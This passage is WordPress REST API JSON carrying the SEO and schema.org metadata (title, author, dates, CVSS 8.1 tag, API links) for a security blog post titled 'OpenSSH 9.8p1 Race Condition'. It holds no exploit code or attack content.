redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"OpenSSH 9.8p1 Race Condition - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=958","og_locale":"en_US","og_type":"article","og_title":"OpenSSH 9.8p1 Race Condition - zero redgem","og_description":"Exploit Details Basic Information Exploit Title OpenSSH 9.8p1 Race Condition Exploit ID PACKETSTORM:190587 Type packetstorm Published 2025-04-22T00:00:00 Modified 2025-04-22T00:00:00 CVSS Information CVSS Score 8.1 Severity...","og_url":"https:\/\/zero.redgem.net\/?p=958","og_site_name":"zero redgem","article_published_time":"2025-04-23T06:01:31+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"9 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=958#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=958"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"OpenSSH 9.8p1 Race Condition","datePublished":"2025-04-23T06:01:31+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=958"},"wordCount":1734,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-8.1","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=958#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=958","url":"https:\/\/zero.redgem.net\/?p=958","name":"OpenSSH 9.8p1 Race Condition - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-04-23T06:01:31+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=958#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=958"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=958#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"OpenSSH 9.8p1 Race Condition"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/958","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=958"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/958\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=958"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=958"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=958"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}